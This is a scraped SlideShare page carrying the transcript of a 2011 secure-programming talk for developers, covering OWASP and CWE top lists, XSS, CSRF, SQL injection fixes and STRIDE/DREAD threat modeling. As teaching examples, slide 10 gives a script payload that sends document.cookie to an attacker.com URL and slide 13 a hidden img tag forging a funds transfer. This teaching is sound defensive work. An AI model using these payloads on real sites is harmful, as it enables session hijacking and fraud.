Your SlideShare is downloading. ×
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Security 101
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Security 101

2,589

Published on

Introduction to Secure Programming for Developers. Made to Cozi Development Team.

Introduction to Secure Programming for Developers. Made to Cozi Development Team.

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
2,589
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
52
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide
  • 24 Deadly Sins of Software Security , Howard, LeBlanc, Viega, 2009.
  • http://cwe.mitre.org/top25/#Listing [1] 346 CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [2] 330 CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') [3] 273 CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') [4] 261 CWE-352 Cross-Site Request Forgery (CSRF) [5] 219 CWE-285 Improper Access Control (Authorization) [6] 202 CWE-807 Reliance on Untrusted Inputs in a Security Decision [7] 197 CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') [8] 194 CWE-434 Unrestricted Upload of File with Dangerous Type [9] 188 CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') [10] 188 CWE-311 Missing Encryption of Sensitive Data [11] 176 CWE-798 Use of Hard-coded Credentials [12] 158 CWE-805 Buffer Access with Incorrect Length Value [13] 157 CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion') [14] 156 CWE-129 Improper Validation of Array Index [15] 155 CWE-754 Improper Check for Unusual or Exceptional Conditions [16] 154 CWE-209 Information Exposure Through an Error Message [17] 154 CWE-190 Integer Overflow or Wraparound [18] 153 CWE-131 Incorrect Calculation of Buffer Size [19] 147 CWE-306 Missing Authentication for Critical Function [20] 146 CWE-494 Download of Code Without Integrity Check [21] 145 CWE-732 Incorrect Permission Assignment for Critical Resource [22] 145 CWE-770 Allocation of Resources Without Limits or Throttling [23] 142 CWE-601 URL Redirection to Untrusted Site ('Open Redirect') [24] 141 CWE-327 Use of a Broken or Risky Cryptographic Algorithm [25] 138 CWE-362 Race Condition
  • http://www.owasp.org/index.php/Top_10_2010-Main A1-Injection Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data. A2-Cross Site Scripting (XSS) XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. A3-Broken Authentication and Session Management Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities. A4-Insecure Direct Object References A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data. A5-Cross Site Request Forgery (CSRF) A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim. A6-Security Misconfiguration Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application. A7-Insecure Cryptographic Storage Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes. A8-Failure to Restrict URL Access Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway. A9-Insufficient Transport Layer Protection Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly. A10-Unvalidated Redirects and Forwards Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
  • Writing Secure Code, 2e , Chapter 3, “Security Principles to Live By”
  • http://www.owasp.org/index.php/Top_10_2010-A2
  • http://www.owasp.org/index.php/Top_10_2010-A5
  • http://xkcd.com/327/
  • Writing Secure Code, 2e , Chapter 4, “Threat Modeling”
  • Transcript

    • 1. Security 101 Cozi Tech Forum 2011-02-02 George V. Reilly  &  Andrew Abrahamowicz www.Cozi.com
    • 2. Agenda
        • Why should we care about Security?
        • Top Vulnerabilities of 2010
        • Examining XSS, XSRF, and SQL Injection
        • Threat Modeling
    • 3. Off Topic
        • Operational Security
        • Cryptography
        • Hacking Tutorial
    • 4. Why should we care about Security?
        • Just because we haven’t been hacked yet, doesn’t mean it won’t happen
        • Defender has to get everything right; attacker has to find only one weakness
        • Loss of trust, reputation
        • Damage to our systems
        • Customer or company data exposed
        • Possible financial liability
    • 5. 24 Deadly Sins of Software Security
        • SQL Injection
        • Server Vulns: XSS, XSRF, Response Splitting
        • Web Client Vulns: XSS
        • Magic URLs, Predictable Cookies, Hidden Form Fields
        • Buffer Overruns
        • Format String Problems
        • Integer Overflows
        • C++ Catastrophes
        • Catching Exceptions
        • Command Injection
        • Failure to Handle Errors Correctly
        • Information Leakage
        • Race Conditions
        • Poor Usability
        • Not Updating Easily
        • Executing Code with Too Much Privilege
        • Failure to Protect Stored Data
        • The Sins of Mobile Code
        • Use of Weak Password-Based Systems
        • Weak Random Numbers
        • Using Cryptography Incorrectly
        • Failing to Protect Network Traffic
        • Improper Use of PKI, esp SSL
        • Trusting Network Name Resolution
    • 6. 2010 CWE Top 25 Most Dangerous
        • Cross-Site Scripting (XSS)
        • SQL Injection
        • Classic Buffer Overflow
        • Cross-Site Request Forgery
        • Improper Access Control
        • Reliance on Untrusted Inputs
        • Path Traversal
        • Uploading Dangerous Files
        • OS Command Injection
        • Missing Encryption
        • Hard-Coded Credentials
        • Buffer Access with Incorrect Length Value
        • PHP File Inclusion
        • Array Index Validation
        • Not Handling Errors
        • Info Exposure via Error Msgs
        • Integer Overflow/Wraparound
        • Incorrect Calc of Buffer Size
        • Missing Auth for Critical Fn
        • Download Code w/o Integrity Chk
        • Incorrect Permissions
        • Alloc Resources w/o Limits
        • Open Redirect to Untrusted Site
        • Using Poor Crypto
        • Race Condition
    • 7. OWASP Top 10 App Security Risks—2010
        • Injection
        • Cross-Site Scripting
        • Broken Auth and Session Mgmt
        • Insecure Direct Object References
        • Cross Site Request Forgery (CSRF or XSRF)
        • Security Misconfiguration
        • Insecure Cryptographic Storage
        • Failure to Restrict URL Access
        • Insufficient Transport Layer Protection
        • Unvalidated Redirects and Forwards
    • 8. Some General Principles
        • Never trust input – validate
        • Defense in Depth
        • Least Privilege
        • Learn from Mistakes
        • Minimize your Attack Surface
    • 9. XSS – Cross-Site Scripting
        • App accepts data from untrusted source without validation 
        • App fails to escape data before generating page
          • Blur distinction between data and code
        • Attacker injects malicious script into webpage
        • Gains access to sensitive page content, session cookies, etc.
    • 10. XSS Scenario
        • The app uses untrusted data without validation or escaping :
        • page += "〈input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'〉";
        • Attacker modifies the ‘CC’ parameter:
        • '〉〈script〉document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie〈/script〉'.
        • Victim clicks attacker's link
        • Sends session ID to attacker’s website, allowing attacker to hijack user’s current session.
    • 11. XSS Redemption
        • Restrict the input to valid data.
          • Use  whitelists , not  blacklists
          • Validate with regexes
        • Encode the output
          • Use HTML encoding or URL encoding
        • For input that goes into response headers, aggressively remove CRLFs.
    • 12. XSRF – Cross-Site Request Forgery
        • XSS – Client trusts server to do the right thing
        • XSRF – Server has too much trust in client
        • Server can’t tell whether request was physically initiated by the user, or if an attacker caused the browser to initiate the operation.
    • 13. XSRF Scenario
        • App allows user to submit a state-changing request without a secret
          • http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
        • Bad img/iframe on attacker-controlled site
          • 〈 img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" /〉
        • If victim visits a controlled site while already authenticated to example.com, any forged requests will include the user’s session info, inadvertently authorizing the request.
    • 14. XSRF Redemption
        • Add a secret random value ( nonce ) to webclient and webserver session.
          • Do not include secret in a cookie
        • Add a timeout to the session
        • Use POST rather than GET
    • 15. SQL Injection
    • 16. SQL Injection Redemption
        • Never use string concatenation/replacement in SQL expressions
        • Never trust input -- potentially difficult
        • Use prepared (aka parameterized) SQL statements
          • ORMs like SQLAlchemy, NHibernate do this
        • Perhaps encrypt the underlying data
          • Defense in depth in case of breach
    • 17. Threat Modeling
        • You cannot build a secure system until you understand your threats
        • STRIDE – Categorize
        • DREAD – Calculate Risk
        • Examine  data flow
    • 18. Categorize Threats with STRIDE
        • S poofing Identity
        • T ampering with Data
        • R epudiation
        • I nformation Disclosure
        • D enial of Service
        • E levation of Privilege
        • STRIDE classifies effects; you should also categorize vulns according to cause
    • 19. Use DREAD to Calculate Risk
        • Risk = Criticality * Likelihood of Occurrence
        • D amage Potential
        • R eproducibility
        • E xploitability
        • A ffected Users
        • D iscoverability
        • Each factor 1-10. DREAD score = sum/5

    ×